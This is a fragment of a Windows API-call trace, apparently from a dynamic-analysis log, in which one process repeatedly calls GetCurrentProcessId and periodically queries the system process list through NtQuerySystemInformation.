GetCurrentProcessId () returned 0xd70 [0111.149] GetCurrentProcessId () returned 0xd70 [0111.149] GetCurrentProcessId () returned 0xd70 [0111.149] GetCurrentProcessId () returned 0xd70 [0111.149] GetCurrentProcessId () returned 0xd70 [0111.149] GetCurrentProcessId () returned 0xd70 [0111.149] GetCurrentProcessId () returned 0xd70 [0111.149] GetCurrentProcessId () returned 0xd70 [0111.149] GetCurrentProcessId () returned 0xd70 [0111.149] GetCurrentProcessId () returned 0xd70 [0111.149] GetCurrentProcessId () returned 0xd70 [0111.149] GetCurrentProcessId () returned 0xd70 [0111.149] GetCurrentProcessId () returned 0xd70 [0111.149] GetCurrentProcessId () returned 0xd70 [0111.705] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1bc18) returned 0x0 [0111.706] GetCurrentProcessId () returned 0xd70 [0111.706] GetCurrentProcessId () returned 0xd70 [0111.706] GetCurrentProcessId () returned 0xd70 [0111.706] GetCurrentProcessId () returned 0xd70 [0111.706] GetCurrentProcessId () returned 0xd70 [0111.706] GetCurrentProcessId () returned 0xd70 [0111.706] GetCurrentProcessId () returned 0xd70 [0111.706] GetCurrentProcessId () returned 0xd70 [0111.707] GetCurrentProcessId () returned 0xd70 [0111.707] GetCurrentProcessId () returned 0xd70 [0111.707] GetCurrentProcessId () returned 0xd70 [0111.707] GetCurrentProcessId () returned 0xd70 [0111.707] GetCurrentProcessId () returned 0xd70 [0111.707] GetCurrentProcessId () returned 0xd70 [0111.707] GetCurrentProcessId () returned 0xd70 [0111.707] GetCurrentProcessId () returned 0xd70 [0111.707] GetCurrentProcessId () returned 0xd70 [0111.707] GetCurrentProcessId () returned 0xd70 [0111.707] GetCurrentProcessId () returned 0xd70 [0111.707] GetCurrentProcessId () returned 0xd70 [0111.707] GetCurrentProcessId () returned 0xd70 [0111.707] GetCurrentProcessId () returned 0xd70 [0111.707] GetCurrentProcessId () returned 0xd70 [0111.707] GetCurrentProcessId () returned 0xd70 [0111.707] GetCurrentProcessId () returned 0xd70 [0111.707] GetCurrentProcessId () returned 0xd70 [0111.707] GetCurrentProcessId () returned 0xd70 [0111.707] GetCurrentProcessId () returned 0xd70 [0111.707] GetCurrentProcessId () returned 0xd70 [0111.707] GetCurrentProcessId () returned 0xd70 [0111.707] GetCurrentProcessId () returned 0xd70 [0111.707] GetCurrentProcessId () returned 0xd70 [0111.707] GetCurrentProcessId () returned 0xd70 [0111.707] GetCurrentProcessId () returned 0xd70 [0111.708] GetCurrentProcessId () returned 0xd70 [0111.708] GetCurrentProcessId () returned 0xd70 [0111.708] GetCurrentProcessId () returned 0xd70 [0111.708] GetCurrentProcessId () returned 0xd70 [0111.708] GetCurrentProcessId () returned 0xd70 [0111.708] GetCurrentProcessId () returned 0xd70 [0111.708] GetCurrentProcessId () returned 0xd70 [0111.708] GetCurrentProcessId () returned 0xd70 [0111.708] GetCurrentProcessId () returned 0xd70 [0111.708] GetCurrentProcessId () returned 0xd70 [0111.708] GetCurrentProcessId () returned 0xd70 [0111.708] GetCurrentProcessId () returned 0xd70 [0111.708] GetCurrentProcessId () returned 0xd70 [0111.708] GetCurrentProcessId () returned 0xd70 [0111.708] GetCurrentProcessId () returned 0xd70 [0111.708] GetCurrentProcessId () returned 0xd70 [0111.708] GetCurrentProcessId () returned 0xd70 [0111.708] GetCurrentProcessId () returned 0xd70 [0111.708] GetCurrentProcessId () returned 0xd70 [0111.708] GetCurrentProcessId () returned 0xd70 [0111.708] GetCurrentProcessId () returned 0xd70 [0111.708] GetCurrentProcessId () returned 0xd70 [0111.708] GetCurrentProcessId () returned 0xd70 [0111.708] GetCurrentProcessId () returned 0xd70 [0111.708] GetCurrentProcessId () returned 0xd70 [0111.708] GetCurrentProcessId () returned 0xd70 [0111.708] GetCurrentProcessId () returned 0xd70 [0111.708] GetCurrentProcessId () returned 0xd70 [0111.708] GetCurrentProcessId () returned 0xd70 [0111.708] GetCurrentProcessId () returned 0xd70 [0111.708] GetCurrentProcessId () returned 0xd70 [0111.709] GetCurrentProcessId () returned 0xd70 [0111.709] GetCurrentProcessId () returned 0xd70 [0111.709] GetCurrentProcessId () returned 0xd70 [0111.709] GetCurrentProcessId () returned 0xd70 [0111.709] GetCurrentProcessId () returned 0xd70 [0111.709] GetCurrentProcessId () returned 0xd70 [0111.709] GetCurrentProcessId () returned 0xd70 [0111.709] GetCurrentProcessId () returned 0xd70 [0111.709] GetCurrentProcessId () returned 0xd70 [0111.709] GetCurrentProcessId () returned 0xd70 [0111.709] GetCurrentProcessId () returned 0xd70 [0111.709] GetCurrentProcessId () returned 0xd70 [0111.709] GetCurrentProcessId () returned 0xd70 [0111.709] GetCurrentProcessId () returned 0xd70 [0111.709] GetCurrentProcessId () returned 0xd70 [0111.709] GetCurrentProcessId () returned 0xd70 [0111.709] GetCurrentProcessId () returned 0xd70 [0111.709] GetCurrentProcessId () returned 0xd70 [0111.709] GetCurrentProcessId () returned 0xd70 [0111.709] GetCurrentProcessId () returned 0xd70 [0111.709] GetCurrentProcessId () returned 0xd70 [0111.709] GetCurrentProcessId () returned 0xd70 [0111.709] GetCurrentProcessId () returned 0xd70 [0111.709] GetCurrentProcessId () returned 0xd70 [0111.709] GetCurrentProcessId () returned 0xd70 [0111.709] GetCurrentProcessId () returned 0xd70 [0111.709] GetCurrentProcessId () returned 0xd70 [0111.709] GetCurrentProcessId () returned 0xd70 [0111.709] GetCurrentProcessId () returned 0xd70 [0111.709] GetCurrentProcessId () returned 0xd70 [0111.709] GetCurrentProcessId () returned 0xd70 [0111.710] GetCurrentProcessId () returned 0xd70 [0111.710] GetCurrentProcessId () returned 0xd70 [0111.710] GetCurrentProcessId () returned 0xd70 [0111.710] GetCurrentProcessId () returned 0xd70 [0111.710] GetCurrentProcessId () returned 0xd70 [0111.710] GetCurrentProcessId () returned 0xd70 [0111.710] GetCurrentProcessId () returned 0xd70 [0112.249] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1bc68) returned 0x0 [0112.250] GetCurrentProcessId () returned 0xd70 [0112.250] GetCurrentProcessId () returned 0xd70 [0112.250] GetCurrentProcessId () returned 0xd70 [0112.250] GetCurrentProcessId () returned 0xd70 [0112.250] GetCurrentProcessId () returned 0xd70 [0112.250] GetCurrentProcessId () returned 0xd70 [0112.250] GetCurrentProcessId () returned 0xd70 [0112.251] GetCurrentProcessId () returned 0xd70 [0112.251] GetCurrentProcessId () returned 0xd70 [0112.251] GetCurrentProcessId () returned 0xd70 [0112.251] GetCurrentProcessId () returned 0xd70 [0112.251] GetCurrentProcessId () returned 0xd70 [0112.251] GetCurrentProcessId () returned 0xd70 [0112.251] GetCurrentProcessId () returned 0xd70 [0112.251] GetCurrentProcessId () returned 0xd70 [0112.251] GetCurrentProcessId () returned 0xd70 [0112.251] GetCurrentProcessId () returned 0xd70 [0112.251] GetCurrentProcessId () returned 0xd70 [0112.251] GetCurrentProcessId () returned 0xd70 [0112.251] GetCurrentProcessId () returned 0xd70 [0112.251] GetCurrentProcessId () returned 0xd70 [0112.251] GetCurrentProcessId () returned 0xd70 [0112.251] GetCurrentProcessId () returned 0xd70 [0112.251] GetCurrentProcessId () returned 0xd70 [0112.251] GetCurrentProcessId () returned 0xd70 [0112.251] GetCurrentProcessId () returned 0xd70 [0112.251] GetCurrentProcessId () returned 0xd70 [0112.251] GetCurrentProcessId () returned 0xd70 [0112.251] GetCurrentProcessId () returned 0xd70 [0112.251] GetCurrentProcessId () returned 0xd70 [0112.251] GetCurrentProcessId () returned 0xd70 [0112.251] GetCurrentProcessId () returned 0xd70 [0112.251] GetCurrentProcessId () returned 0xd70 [0112.251] GetCurrentProcessId () returned 0xd70 [0112.251] GetCurrentProcessId () returned 0xd70 [0112.251] GetCurrentProcessId () returned 0xd70 [0112.252] GetCurrentProcessId () returned 0xd70 [0112.252] GetCurrentProcessId () returned 0xd70 [0112.252] GetCurrentProcessId () returned 0xd70 [0112.252] GetCurrentProcessId () returned 0xd70 [0112.252] GetCurrentProcessId () returned 0xd70 [0112.252] GetCurrentProcessId () returned 0xd70 [0112.252] GetCurrentProcessId () returned 0xd70 [0112.252] GetCurrentProcessId () returned 0xd70 [0112.252] GetCurrentProcessId () returned 0xd70 [0112.252] GetCurrentProcessId () returned 0xd70 [0112.252] GetCurrentProcessId () returned 0xd70 [0112.252] GetCurrentProcessId () returned 0xd70 [0112.252] GetCurrentProcessId () returned 0xd70 [0112.252] GetCurrentProcessId () returned 0xd70 [0112.252] GetCurrentProcessId () returned 0xd70 [0112.252] GetCurrentProcessId () returned 0xd70 [0112.252] GetCurrentProcessId () returned 0xd70 [0112.252] GetCurrentProcessId () returned 0xd70 [0112.252] GetCurrentProcessId () returned 0xd70 [0112.252] GetCurrentProcessId () returned 0xd70 [0112.252] GetCurrentProcessId () returned 0xd70 [0112.252] GetCurrentProcessId () returned 0xd70 [0112.252] GetCurrentProcessId () returned 0xd70 [0112.252] GetCurrentProcessId () returned 0xd70 [0112.252] GetCurrentProcessId () returned 0xd70 [0112.252] GetCurrentProcessId () returned 0xd70 [0112.252] GetCurrentProcessId () returned 0xd70 [0112.252] GetCurrentProcessId () returned 0xd70 [0112.252] GetCurrentProcessId () returned 0xd70 [0112.253] GetCurrentProcessId () returned 0xd70 [0112.253] GetCurrentProcessId () returned 0xd70 [0112.253] GetCurrentProcessId () returned 0xd70 [0112.253] GetCurrentProcessId () returned 0xd70 [0112.253] GetCurrentProcessId () returned 0xd70 [0112.253] GetCurrentProcessId () returned 0xd70 [0112.253] GetCurrentProcessId () returned 0xd70 [0112.253] GetCurrentProcessId () returned 0xd70 [0112.253] GetCurrentProcessId () returned 0xd70 [0112.253] GetCurrentProcessId () returned 0xd70 [0112.253] GetCurrentProcessId () returned 0xd70 [0112.253] GetCurrentProcessId () returned 0xd70 [0112.253] GetCurrentProcessId () returned 0xd70 [0112.253] GetCurrentProcessId () returned 0xd70 [0112.253] GetCurrentProcessId () returned 0xd70 [0112.253] GetCurrentProcessId () returned 0xd70 [0112.253] GetCurrentProcessId () returned 0xd70 [0112.253] GetCurrentProcessId () returned 0xd70 [0112.253] GetCurrentProcessId () returned 0xd70 [0112.253] GetCurrentProcessId () returned 0xd70 [0112.253] GetCurrentProcessId () returned 0xd70 [0112.253] GetCurrentProcessId () returned 0xd70 [0112.253] GetCurrentProcessId () returned 0xd70 [0112.253] GetCurrentProcessId () returned 0xd70 [0112.253] GetCurrentProcessId () returned 0xd70 [0112.253] GetCurrentProcessId () returned 0xd70 [0112.253] GetCurrentProcessId () returned 0xd70 [0112.253] GetCurrentProcessId () returned 0xd70 [0112.253] GetCurrentProcessId () returned 0xd70 [0112.253] GetCurrentProcessId () returned 0xd70 [0112.254] GetCurrentProcessId () returned 0xd70 [0112.254] GetCurrentProcessId () returned 0xd70 [0112.254] GetCurrentProcessId () returned 0xd70 [0112.254] GetCurrentProcessId () returned 0xd70 [0112.254] GetCurrentProcessId () returned 0xd70 [0112.254] GetCurrentProcessId () returned 0xd70 [0112.254] GetCurrentProcessId () returned 0xd70 [0112.254] GetCurrentProcessId () returned 0xd70 [0112.921] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1beb8) returned 0x0 [0112.922] GetCurrentProcessId () returned 0xd70 [0112.922] GetCurrentProcessId () returned 0xd70 [0112.922] GetCurrentProcessId () returned 0xd70 [0112.923] GetCurrentProcessId () returned 0xd70 [0112.923] GetCurrentProcessId () returned 0xd70 [0112.923] GetCurrentProcessId () returned 0xd70 [0112.923] GetCurrentProcessId () returned 0xd70 [0112.923] GetCurrentProcessId () returned 0xd70 [0112.923] GetCurrentProcessId () returned 0xd70 [0112.923] GetCurrentProcessId () returned 0xd70 [0112.923] GetCurrentProcessId () returned 0xd70 [0112.923] GetCurrentProcessId () returned 0xd70 [0112.923] GetCurrentProcessId () returned 0xd70 [0112.923] GetCurrentProcessId () returned 0xd70 [0112.923] GetCurrentProcessId () returned 0xd70 [0112.923] GetCurrentProcessId () returned 0xd70 [0112.923] GetCurrentProcessId () returned 0xd70 [0112.923] GetCurrentProcessId () returned 0xd70 [0112.923] GetCurrentProcessId () returned 0xd70 [0112.923] GetCurrentProcessId () returned 0xd70 [0112.923] GetCurrentProcessId () returned 0xd70 [0112.923] GetCurrentProcessId () returned 0xd70 [0112.923] GetCurrentProcessId () returned 0xd70 [0112.923] GetCurrentProcessId () returned 0xd70 [0112.923] GetCurrentProcessId () returned 0xd70 [0112.923] GetCurrentProcessId () returned 0xd70 [0112.923] GetCurrentProcessId () returned 0xd70 [0112.923] GetCurrentProcessId () returned 0xd70 [0112.923] GetCurrentProcessId () returned 0xd70 [0112.923] GetCurrentProcessId () returned 0xd70 [0112.923] GetCurrentProcessId () returned 0xd70 [0112.923] GetCurrentProcessId () returned 0xd70 [0112.923] GetCurrentProcessId () returned 0xd70 [0112.923] GetCurrentProcessId () returned 0xd70 [0112.923] GetCurrentProcessId () returned 0xd70 [0112.924] GetCurrentProcessId () returned 0xd70 [0112.924] GetCurrentProcessId () returned 0xd70 [0112.924] GetCurrentProcessId () returned 0xd70 [0112.924] GetCurrentProcessId () returned 0xd70 [0112.924] GetCurrentProcessId () returned 0xd70 [0112.924] GetCurrentProcessId () returned 0xd70 [0112.924] GetCurrentProcessId () returned 0xd70 [0112.924] GetCurrentProcessId () returned 0xd70 [0112.924] GetCurrentProcessId () returned 0xd70 [0112.924] GetCurrentProcessId () returned 0xd70 [0112.924] GetCurrentProcessId () returned 0xd70 [0112.924] GetCurrentProcessId () returned 0xd70 [0112.924] GetCurrentProcessId () returned 0xd70 [0112.924] GetCurrentProcessId () returned 0xd70 [0112.924] GetCurrentProcessId () returned 0xd70 [0112.924] GetCurrentProcessId () returned 0xd70 [0112.924] GetCurrentProcessId () returned 0xd70 [0112.924] GetCurrentProcessId () returned 0xd70 [0112.924] GetCurrentProcessId () returned 0xd70 [0112.924] GetCurrentProcessId () returned 0xd70 [0112.924] GetCurrentProcessId () returned 0xd70 [0112.924] GetCurrentProcessId () returned 0xd70 [0112.924] GetCurrentProcessId () returned 0xd70 [0112.924] GetCurrentProcessId () returned 0xd70 [0112.924] GetCurrentProcessId () returned 0xd70 [0112.924] GetCurrentProcessId () returned 0xd70 [0112.924] GetCurrentProcessId () returned 0xd70 [0112.924] GetCurrentProcessId () returned 0xd70 [0112.924] GetCurrentProcessId () returned 0xd70 [0112.924] GetCurrentProcessId () returned 0xd70 [0112.924] GetCurrentProcessId () returned 0xd70 [0112.924] GetCurrentProcessId () returned 0xd70 [0112.924] GetCurrentProcessId () returned 0xd70 [0112.925] GetCurrentProcessId () returned 0xd70 [0112.925] GetCurrentProcessId () returned 0xd70 [0112.925] GetCurrentProcessId () returned 0xd70 [0112.925] GetCurrentProcessId () returned 0xd70 [0112.925] GetCurrentProcessId () returned 0xd70 [0112.925] GetCurrentProcessId () returned 0xd70 [0112.925] GetCurrentProcessId () returned 0xd70 [0112.925] GetCurrentProcessId () returned 0xd70 [0112.925] GetCurrentProcessId () returned 0xd70 [0112.925] GetCurrentProcessId () returned 0xd70 [0112.925] GetCurrentProcessId () returned 0xd70 [0112.925] GetCurrentProcessId () returned 0xd70 [0112.925] GetCurrentProcessId () returned 0xd70 [0112.925] GetCurrentProcessId () returned 0xd70 [0112.925] GetCurrentProcessId () returned 0xd70 [0112.925] GetCurrentProcessId () returned 0xd70 [0112.925] GetCurrentProcessId () returned 0xd70 [0112.925] GetCurrentProcessId () returned 0xd70 [0112.925] GetCurrentProcessId () returned 0xd70 [0112.925] GetCurrentProcessId () returned 0xd70 [0112.925] GetCurrentProcessId () returned 0xd70 [0112.925] GetCurrentProcessId () returned 0xd70 [0112.925] GetCurrentProcessId () returned 0xd70 [0112.925] GetCurrentProcessId () returned 0xd70 [0112.925] GetCurrentProcessId () returned 0xd70 [0112.925] GetCurrentProcessId () returned 0xd70 [0112.925] GetCurrentProcessId () returned 0xd70 [0112.925] GetCurrentProcessId () returned 0xd70 [0112.925] GetCurrentProcessId () returned 0xd70 [0112.925] GetCurrentProcessId () returned 0xd70 [0112.925] GetCurrentProcessId () returned 0xd70 [0112.926] GetCurrentProcessId () returned 0xd70 [0112.926] GetCurrentProcessId () returned 0xd70 [0112.926] GetCurrentProcessId () returned 0xd70 [0112.926] GetCurrentProcessId () returned 0xd70 [0112.926] GetCurrentProcessId () returned 0xd70 [0113.500] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1bc68) returned 0x0 [0113.501] GetCurrentProcessId () returned 0xd70 [0113.501] GetCurrentProcessId () returned 0xd70 [0113.502] GetCurrentProcessId () returned 0xd70 [0113.502] GetCurrentProcessId () returned 0xd70 [0113.502] GetCurrentProcessId () returned 0xd70 [0113.502] GetCurrentProcessId () returned 0xd70 [0113.502] GetCurrentProcessId () returned 0xd70 [0113.502] GetCurrentProcessId () returned 0xd70 [0113.502] GetCurrentProcessId () returned 0xd70 [0113.502] GetCurrentProcessId () returned 0xd70 [0113.502] GetCurrentProcessId () returned 0xd70 [0113.502] GetCurrentProcessId () returned 0xd70 [0113.502] GetCurrentProcessId () returned 0xd70 [0113.502] GetCurrentProcessId () returned 0xd70 [0113.502] GetCurrentProcessId () returned 0xd70 [0113.502] GetCurrentProcessId () returned 0xd70 [0113.502] GetCurrentProcessId () returned 0xd70 [0113.502] GetCurrentProcessId () returned 0xd70 [0113.502] GetCurrentProcessId () returned 0xd70 [0113.502] GetCurrentProcessId () returned 0xd70 [0113.502] GetCurrentProcessId () returned 0xd70 [0113.502] GetCurrentProcessId () returned 0xd70 [0113.502] GetCurrentProcessId () returned 0xd70 [0113.502] GetCurrentProcessId () returned 0xd70 [0113.502] GetCurrentProcessId () returned 0xd70 [0113.502] GetCurrentProcessId () returned 0xd70 [0113.502] GetCurrentProcessId () returned 0xd70 [0113.502] GetCurrentProcessId () returned 0xd70 [0113.502] GetCurrentProcessId () returned 0xd70 [0113.502] GetCurrentProcessId () returned 0xd70 [0113.502] GetCurrentProcessId () returned 0xd70 [0113.502] GetCurrentProcessId () returned 0xd70 [0113.502] GetCurrentProcessId () returned 0xd70 [0113.502] GetCurrentProcessId () returned 0xd70 [0113.503] GetCurrentProcessId () returned 0xd70 [0113.503] GetCurrentProcessId () returned 0xd70 [0113.503] GetCurrentProcessId () returned 0xd70 [0113.503] GetCurrentProcessId () returned 0xd70 [0113.503] GetCurrentProcessId () returned 0xd70 [0113.503] GetCurrentProcessId () returned 0xd70 [0113.503] GetCurrentProcessId () returned 0xd70 [0113.503] GetCurrentProcessId () returned 0xd70 [0113.503] GetCurrentProcessId () returned 0xd70 [0113.503] GetCurrentProcessId () returned 0xd70 [0113.503] GetCurrentProcessId () returned 0xd70 [0113.503] GetCurrentProcessId () returned 0xd70 [0113.503] GetCurrentProcessId () returned 0xd70 [0113.503] GetCurrentProcessId () returned 0xd70 [0113.503] GetCurrentProcessId () returned 0xd70 [0113.503] GetCurrentProcessId () returned 0xd70 [0113.503] GetCurrentProcessId () returned 0xd70 [0113.503] GetCurrentProcessId () returned 0xd70 [0113.503] GetCurrentProcessId () returned 0xd70 [0113.503] GetCurrentProcessId () returned 0xd70 [0113.503] GetCurrentProcessId () returned 0xd70 [0113.503] GetCurrentProcessId () returned 0xd70 [0113.503] GetCurrentProcessId () returned 0xd70 [0113.503] GetCurrentProcessId () returned 0xd70 [0113.503] GetCurrentProcessId () returned 0xd70 [0113.503] GetCurrentProcessId () returned 0xd70 [0113.503] GetCurrentProcessId () returned 0xd70 [0113.503] GetCurrentProcessId () returned 0xd70 [0113.503] GetCurrentProcessId () returned 0xd70 [0113.503] GetCurrentProcessId () returned 0xd70 [0113.504] GetCurrentProcessId () returned 0xd70 [0113.504] GetCurrentProcessId () returned 0xd70 [0113.504] GetCurrentProcessId () returned 0xd70 [0113.504] GetCurrentProcessId () returned 0xd70 [0113.504] GetCurrentProcessId () returned 0xd70 [0113.504] GetCurrentProcessId () returned 0xd70 [0113.504] GetCurrentProcessId () returned 0xd70 [0113.504] GetCurrentProcessId () returned 0xd70 [0113.504] GetCurrentProcessId () returned 0xd70 [0113.504] GetCurrentProcessId () returned 0xd70 [0113.504] GetCurrentProcessId () returned 0xd70 [0113.504] GetCurrentProcessId () returned 0xd70 [0113.504] GetCurrentProcessId () returned 0xd70 [0113.504] GetCurrentProcessId () returned 0xd70 [0113.504] GetCurrentProcessId () returned 0xd70 [0113.504] GetCurrentProcessId () returned 0xd70 [0113.504] GetCurrentProcessId () returned 0xd70 [0113.504] GetCurrentProcessId () returned 0xd70 [0113.504] GetCurrentProcessId () returned 0xd70 [0113.504] GetCurrentProcessId () returned 0xd70 [0113.504] GetCurrentProcessId () returned 0xd70 [0113.504] GetCurrentProcessId () returned 0xd70 [0113.504] GetCurrentProcessId () returned 0xd70 [0113.504] GetCurrentProcessId () returned 0xd70 [0113.504] GetCurrentProcessId () returned 0xd70 [0113.504] GetCurrentProcessId () returned 0xd70 [0113.504] GetCurrentProcessId () returned 0xd70 [0113.504] GetCurrentProcessId () returned 0xd70 [0113.504] GetCurrentProcessId () returned 0xd70 [0113.504] GetCurrentProcessId () returned 0xd70 [0113.504] GetCurrentProcessId () returned 0xd70 [0113.505] GetCurrentProcessId () returned 0xd70 [0113.505] GetCurrentProcessId () returned 0xd70 [0113.505] GetCurrentProcessId () returned 0xd70 [0113.505] GetCurrentProcessId () returned 0xd70 [0113.505] GetCurrentProcessId () returned 0xd70 [0113.505] GetCurrentProcessId () returned 0xd70 [0113.505] GetCurrentProcessId () returned 0xd70 [0113.505] GetCurrentProcessId () returned 0xd70 [0114.025] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1bc68) returned 0x0 [0114.026] GetCurrentProcessId () returned 0xd70 [0114.026] GetCurrentProcessId () returned 0xd70 [0114.027] GetCurrentProcessId () returned 0xd70 [0114.027] GetCurrentProcessId () returned 0xd70 [0114.027] GetCurrentProcessId () returned 0xd70 [0114.027] GetCurrentProcessId () returned 0xd70 [0114.027] GetCurrentProcessId () returned 0xd70 [0114.027] GetCurrentProcessId () returned 0xd70 [0114.027] GetCurrentProcessId () returned 0xd70 [0114.027] GetCurrentProcessId () returned 0xd70 [0114.027] GetCurrentProcessId () returned 0xd70 [0114.027] GetCurrentProcessId () returned 0xd70 [0114.027] GetCurrentProcessId () returned 0xd70 [0114.027] GetCurrentProcessId () returned 0xd70 [0114.027] GetCurrentProcessId () returned 0xd70 [0114.027] GetCurrentProcessId () returned 0xd70 [0114.027] GetCurrentProcessId () returned 0xd70 [0114.027] GetCurrentProcessId () returned 0xd70 [0114.027] GetCurrentProcessId () returned 0xd70 [0114.027] GetCurrentProcessId () returned 0xd70 [0114.027] GetCurrentProcessId () returned 0xd70 [0114.027] GetCurrentProcessId () returned 0xd70 [0114.027] GetCurrentProcessId () returned 0xd70 [0114.027] GetCurrentProcessId () returned 0xd70 [0114.027] GetCurrentProcessId () returned 0xd70 [0114.027] GetCurrentProcessId () returned 0xd70 [0114.027] GetCurrentProcessId () returned 0xd70 [0114.027] GetCurrentProcessId () returned 0xd70 [0114.027] GetCurrentProcessId () returned 0xd70 [0114.028] GetCurrentProcessId () returned 0xd70 [0114.028] GetCurrentProcessId () returned 0xd70 [0114.028] GetCurrentProcessId () returned 0xd70 [0114.028] GetCurrentProcessId () returned 0xd70 [0114.028] GetCurrentProcessId () returned 0xd70 [0114.028] GetCurrentProcessId () returned 0xd70 [0114.028] GetCurrentProcessId () returned 0xd70 [0114.028] GetCurrentProcessId () returned 0xd70 [0114.028] GetCurrentProcessId () returned 0xd70 [0114.028] GetCurrentProcessId () returned 0xd70 [0114.028] GetCurrentProcessId () returned 0xd70 [0114.028] GetCurrentProcessId () returned 0xd70 [0114.028] GetCurrentProcessId () returned 0xd70 [0114.028] GetCurrentProcessId () returned 0xd70 [0114.028] GetCurrentProcessId () returned 0xd70 [0114.028] GetCurrentProcessId () returned 0xd70 [0114.028] GetCurrentProcessId () returned 0xd70 [0114.028] GetCurrentProcessId () returned 0xd70 [0114.028] GetCurrentProcessId () returned 0xd70 [0114.028] GetCurrentProcessId () returned 0xd70 [0114.028] GetCurrentProcessId () returned 0xd70 [0114.028] GetCurrentProcessId () returned 0xd70 [0114.028] GetCurrentProcessId () returned 0xd70 [0114.028] GetCurrentProcessId () returned 0xd70 [0114.028] GetCurrentProcessId () returned 0xd70 [0114.028] GetCurrentProcessId () returned 0xd70 [0114.028] GetCurrentProcessId () returned 0xd70 [0114.028] GetCurrentProcessId () returned 0xd70 [0114.028] GetCurrentProcessId () returned 0xd70 [0114.028] GetCurrentProcessId () returned 0xd70 [0114.029] GetCurrentProcessId () returned 0xd70 [0114.029] GetCurrentProcessId () returned 0xd70 [0114.029] GetCurrentProcessId () returned 0xd70 [0114.029] GetCurrentProcessId () returned 0xd70 [0114.029] GetCurrentProcessId () returned 0xd70 [0114.029] GetCurrentProcessId () returned 0xd70 [0114.029] GetCurrentProcessId () returned 0xd70 [0114.029] GetCurrentProcessId () returned 0xd70 [0114.029] GetCurrentProcessId () returned 0xd70 [0114.029] GetCurrentProcessId () returned 0xd70 [0114.029] GetCurrentProcessId () returned 0xd70 [0114.029] GetCurrentProcessId () returned 0xd70 [0114.029] GetCurrentProcessId () returned 0xd70 [0114.029] GetCurrentProcessId () returned 0xd70 [0114.029] GetCurrentProcessId () returned 0xd70 [0114.029] GetCurrentProcessId () returned 0xd70 [0114.029] GetCurrentProcessId () returned 0xd70 [0114.029] GetCurrentProcessId () returned 0xd70 [0114.029] GetCurrentProcessId () returned 0xd70 [0114.029] GetCurrentProcessId () returned 0xd70 [0114.029] GetCurrentProcessId () returned 0xd70 [0114.029] GetCurrentProcessId () returned 0xd70 [0114.029] GetCurrentProcessId () returned 0xd70 [0114.029] GetCurrentProcessId () returned 0xd70 [0114.029] GetCurrentProcessId () returned 0xd70 [0114.029] GetCurrentProcessId () returned 0xd70 [0114.029] GetCurrentProcessId () returned 0xd70 [0114.029] GetCurrentProcessId () returned 0xd70 [0114.029] GetCurrentProcessId () returned 0xd70 [0114.029] GetCurrentProcessId () returned 0xd70 [0114.029] GetCurrentProcessId () returned 0xd70 [0114.029] GetCurrentProcessId () returned 0xd70 [0114.030] GetCurrentProcessId () returned 0xd70 [0114.030] GetCurrentProcessId () returned 0xd70 [0114.030] GetCurrentProcessId () returned 0xd70 [0114.030] GetCurrentProcessId () returned 0xd70 [0114.030] GetCurrentProcessId () returned 0xd70 [0114.030] GetCurrentProcessId () returned 0xd70 [0114.030] GetCurrentProcessId () returned 0xd70 [0114.030] GetCurrentProcessId () returned 0xd70 [0114.030] GetCurrentProcessId () returned 0xd70 [0114.030] GetCurrentProcessId () returned 0xd70 [0114.030] GetCurrentProcessId () returned 0xd70 [0114.030] GetCurrentProcessId () returned 0xd70 [0114.601] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x13313e48, Length=0x20000, ResultLength=0x1b90ea50 | out: SystemInformation=0x13313e48, ResultLength=0x1b90ea50*=0x1b9c8) returned 0x0 [0114.607] GetCurrentProcessId () returned 0xd70 [0114.607] GetCurrentProcessId () returned 0xd70 [0114.607] GetCurrentProcessId () returned 0xd70 [0114.607] GetCurrentProcessId () returned 0xd70 [0114.607] GetCurrentProcessId () returned 0xd70 [0114.607] GetCurrentProcessId () returned 0xd70 [0114.607] GetCurrentProcessId () returned 0xd70 [0114.607] GetCurrentProcessId () returned 0xd70 [0114.607] GetCurrentProcessId () returned 0xd70 [0114.608] GetCurrentProcessId () returned 0xd70 [0114.608] GetCurrentProcessId () returned 0xd70 [0114.608] GetCurrentProcessId () returned 0xd70 [0114.608] GetCurrentProcessId () returned 0xd70 [0114.608] GetCurrentProcessId () returned 0xd70 [0114.608] GetCurrentProcessId () returned 0xd70 [0114.608] GetCurrentProcessId () returned 0xd70 [0114.608] GetCurrentProcessId () returned 0xd70 [0114.608] GetCurrentProcessId () returned 0xd70 [0114.608] GetCurrentProcessId () returned 0xd70 [0114.608] GetCurrentProcessId () returned 0xd70 [0114.608] GetCurrentProcessId () returned 0xd70 [0114.608] GetCurrentProcessId () returned 0xd70 [0114.608] GetCurrentProcessId () returned 0xd70 [0114.608] GetCurrentProcessId () returned 0xd70 [0114.608] GetCurrentProcessId () returned 0xd70 [0114.608] GetCurrentProcessId () returned 0xd70 [0114.609] GetCurrentProcessId () returned 0xd70 [0114.609] GetCurrentProcessId () returned 0xd70 [0114.609] GetCurrentProcessId () returned 0xd70 [0114.609] GetCurrentProcessId () returned 0xd70 [0114.609] GetCurrentProcessId () returned 0xd70 [0114.609] GetCurrentProcessId () returned 0xd70 [0114.609] GetCurrentProcessId () returned 0xd70 [0114.609] GetCurrentProcessId () returned 0xd70 [0114.609] GetCurrentProcessId () returned 0xd70 [0114.609] GetCurrentProcessId () returned 0xd70 [0114.609] GetCurrentProcessId () returned 0xd70 [0114.609] GetCurrentProcessId () returned 0xd70 [0114.609] GetCurrentProcessId () returned 0xd70 [0114.609] GetCurrentProcessId () returned 0xd70 [0114.609] GetCurrentProcessId () returned 0xd70 [0114.609] GetCurrentProcessId () returned 0xd70 